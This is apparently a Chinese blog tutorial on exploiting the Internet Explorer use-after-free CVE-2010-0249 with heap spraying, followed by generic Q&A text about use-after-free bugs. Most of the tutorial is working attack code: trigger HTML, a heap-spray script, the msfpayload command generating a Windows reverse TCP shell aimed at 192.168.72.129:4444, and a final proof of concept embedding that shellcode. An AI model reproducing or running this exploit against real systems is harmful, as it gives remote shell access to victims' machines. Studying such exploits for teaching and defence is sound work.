Heap Spray Exploit : CVE-2010-0249 Use After Free 初探


1.    基础知识

Ø  Heap spray(堆喷射)

堆喷射是一种payload 传递技术,借助堆来将shellcode放置在可预测的堆地址上,然后稳定地跳入shellcode。为了实现heap spray,你需要在劫持EIP前,能够分配并填充堆内存块。意思是指在触发内存崩溃之前,你必须能够在目标程序中可分配可控内存数据。浏览器已经为此提供了一种很简单的方法,它能够支持脚本,可直接借助javascript或者vbscript 在触发漏洞前分配内存。堆喷射的运用并不局限于浏览器,例如你可以在Adobe Reader 中使用Javascript 或者Actionscript 将shellcode放置在可预测的堆地址上。总结为以下三点:

1)        喷射堆块

2)        触发漏洞

3)        控制EIP并使其指向堆中

 

Ø  Use after free

简单的说就是在释放内存后对其进行引用会导致程序崩溃。希望通过今天的实例,来搞懂这个知识点。



2. 触发代码

<html>
<script>

// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{  
  Element1 = document.createEventObject(Value1); // 创建IMG标签对象
  document.getElementById("SpanID").innerHTML = ""; // 设置父标签为空,从而触发heap free
  window.setInterval(FOverwrite, 50); // 调用重写模块,每50秒一次
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
  buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer; // 向buffer中写入字符串,尝试重写以删除了的标签的堆内存
  }
  var a = Element1.srcElement; // 调用指向删除了节点的指针,触发crash
}

</script>

<body>
<span id="SpanID"><IMG src="./abcd.gif" οnlοad="FRemove(event)" /></span></body></html>
</body>
</html>

当IE加载页面时,首先会创建200个comment标签,并且设置值为“AAA”(这里的AAA你可以换成任意值,因为在后面我们要覆盖它,去触发异常)。之后当加载abcd.gif时,调用FRemove函数。

FRemove函数首先创建了IMG标签对象,之后设置其SpanID的父标签为空,而导致了父标签释放。并且每50秒重新运行一次FOvewrite。这个父标签的释放导致了use-after-free漏洞的出现。而FOverwriter函数,将comment的值改变。然后通过Element1.srcElement引用父标签,导致指针异常。

用windbg附加IE6,查看结果,出现异常。



程序在mov eax,dword ptr [ecx] 时,访问越界。程序是要将ecx所指向的内存,移入一个DWORD大小的值给eax,但是由于ecx的值为aaaaaaaa,指向的是非法的内存地址,因此,导致程序异常。

035a2531 8b01            mov     eax,dword ptr [ecx]
035a2533 ff5034           call    dword ptr [eax+34h]
035a2536 8b400c           mov     eax,dword ptr [eax+0Ch]
035a2539 c3               ret

如果我们想从这里直接利用,call dword ptr [eax+34h] 给了我们很大的便处。

简单的前两句汇编代码可以这么理解

call *(*(ecx)+0x34) 

所以我们开始heap spray,目的是在堆空间中,构造nops+shellcode。

这里的nops不仅仅指的是9090 而是指的那些对程序执行无关紧要的指令。

<html>
<script>


	var shellcode = unescape('%ucccc%ucccc');
	var bigblock = unescape('%u0c0c%u0c0c');

	var headersize = 20;
	var slackspace = headersize + shellcode.length;

	while (bigblock.length < slackspace) 
		bigblock += bigblock;
	
	var fillblock = bigblock.substring(0,slackspace);

	var block = bigblock.substring(0,bigblock.length - slackspace);

	while (block.length + slackspace < 0x50000) 
		block = block + block + fillblock;
	
	var memory = new Array();

	for (i = 0; i < 500; i++)
	{	 
		memory[i] = block + shellcode 
	}


// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

alert("begin");

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{  
  
  Element1 = document.createEventObject(Value1); // Create the object of the IMG tag
  document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free()
  window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
  buffer = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c");
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object
  }
  var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash
}

</script>

<body>
<span id="SpanID"><IMG src="./abcd.gif" οnlοad="FRemove(event)" /></span></body></html>
</body>
</html>

为什么要选择0x0c0c0c0c作为nops和跳转的指令和地址,我们反编译0x0c0c0c0c所代表的指令,


反汇编之后,0x0c0c指令为  or al, 0ch 不影响cpu的执行。

这里有个麻烦的是 申请堆块的大小,如果堆块太小,0x0c0c0c0c对应的是无效的地址。

如果申请的大小过大,将使整个电脑的运行速度变慢。所以,0x50000值你可以根据自己的系统设定。

我们最后用msf 生成payload:

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.72.129 LPORT=4444 J
// windows/shell_reverse_tcp - 314 bytes
// http://www.metasploit.com
// VERBOSE=false, LHOST=192.168.72.129, LPORT=4444, 
// ReverseConnectRetries=5, ReverseAllowProxy=false, 
// EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u8148%u0268%u1100%u895c%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff

所以最终的poc:

<html>
<script>

function heapspray()
{
	var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u8148%u0268%u1100%u895c%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff');
	var bigblock = unescape('%u0c0c%u0c0c');

	var headersize = 20;
	var slackspace = headersize + shellcode.length;

	while (bigblock.length < slackspace) 
		bigblock += bigblock;
	
	var fillblock = bigblock.substring(0,slackspace);

	var block = bigblock.substring(0,bigblock.length - slackspace);

	while (block.length + slackspace < 0x50000) 
		block = block + block + fillblock;
	
	var memory = new Array();

	for (i = 0; i < 500; i++)
	{	 
		memory[i] = block + shellcode 
	}

}
// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

//alert("begin");

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{  
  heapspray();
  Element1 = document.createEventObject(Value1); // Create the object of the IMG tag
  document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free()
  window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
  buffer = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c");
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object
  }
  var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash
}

</script>

<body>
<span id="SpanID"><IMG src="./abcd.gif" οnlοad="FRemove(event)" /></span></body></html>
</body>
</html>

这里有个问题,就是由于是打开本地文件,所以,浏览器有缓存,因此我们的heapspray会失败,因此我们需要清除缓存。


最终我们的实验结果:


谢谢,可能有很多没讲清楚的地方,欢迎和大家一起交流,一起提高


参考:

http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: "heap-use-after-free" 是一种常见的内存错误,通常发生在程序试图在释放了一块内存后仍然引用该内存地址的情况下。 在使用堆分配的内存时,如果程序在释放内存后还引用该内存地址,就会导致 "heap-use-after-free" 错误。这可能会导致程序崩溃、数据损坏或安全漏洞。 为了避免 "heap-use-after-free" 错误,程序员应该确保在释放内存后不再使用该内存地址。可以通过将指向已释放内存的指针设置为 NULL 或使用内存分配器函数(如 malloc、calloc、realloc 等)来避免这种错误。另外,一些内存调试工具也可以检测这种错误并提供更多的信息来帮助程序员调试。 ### 回答2: heap-use-after-free是一种常见的堆相关漏洞,它在程序中利用了一个已经被释放的堆内存。当我们释放堆内存后,如果不小心继续使用已经释放的内存,就会导致heap-use-after-free漏洞。 当一个堆内存被释放后,它会返回给堆管理器,可以被重新分配给其他程序使用。然而,如果我们在释放内存后,仍然持有对该内存的指针,并且在后续的代码中使用了该指针,就会造成heap-use-after-free漏洞。 这种错误的使用已经释放的内存可能导致程序的不可预测行为,甚至可以被恶意攻击者利用来执行任意代码。攻击者可以通过控制已释放的内存中的数据来改变程序的执行流程或者读取敏感信息。 为了防止heap-use-after-free漏洞的发生,我们应该遵循一些最佳实践。首先,确保在不再使用堆内存之前将其正确释放。其次,及时将已经释放的指针设置为NULL,以避免误用。此外,使用堆管理器提供的专用函数来分配和释放内存,避免手动管理内存,可以减少这类错误的发生。 最后,漏洞修复是非常重要的。在发现了heap-use-after-free漏洞后,我们应该尽快修复它,以避免潜在的安全问题。修复这类漏洞的方法包括修改程序逻辑、改变内存分配和释放的顺序等。 综上所述,heap-use-after-free是一种常见的堆相关漏洞,它产生于程序中继续使用已经释放的堆内存。为了防止这类漏洞的发生,我们需要注意正确地分配和释放内存,并及时修复已发现的漏洞。 ### 回答3: heap-use-after-free是指在堆上释放了某个内存块,但之后仍然对该内存块进行了访问或操作。这种错误通常发生在程序员没有正确管理内存的情况下。 当释放完一个内存块之后,程序应该立即将指向该内存块的指针置为NULL,以防止错误地访问已经释放的内存块。然而,如果未将指针置为NULL,并继续使用该指针进行读取或写入操作,就会产生heap-use-after-free错误。 这种错误可能导致一些严重的后果。例如,可能会导致程序崩溃、数据损坏,甚至存在潜在的安全风险。因此,程序员在使用堆上分配的内存时,必须遵守正确的内存管理规则,包括正确释放内存并及时将指针置为NULL。 为了避免heap-use-after-free错误,程序员可以采取以下几种措施。首先,尽量使用动态内存分配的高级抽象机制,如智能指针或垃圾回收器,以自动管理内存。其次,当手动管理内存时,要确保正确释放内存并将指针置为NULL。另外,可以使用工具进行内存泄漏检测和动态分析,以及进行严格的代码审查和测试,以提前发现和修复heap-use-after-free错误。 总之,heap-use-after-free是一种内存管理错误,程序员必须小心处理以避免产生严重的后果。正确的内存管理和代码审查是预防这种错误的有效方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值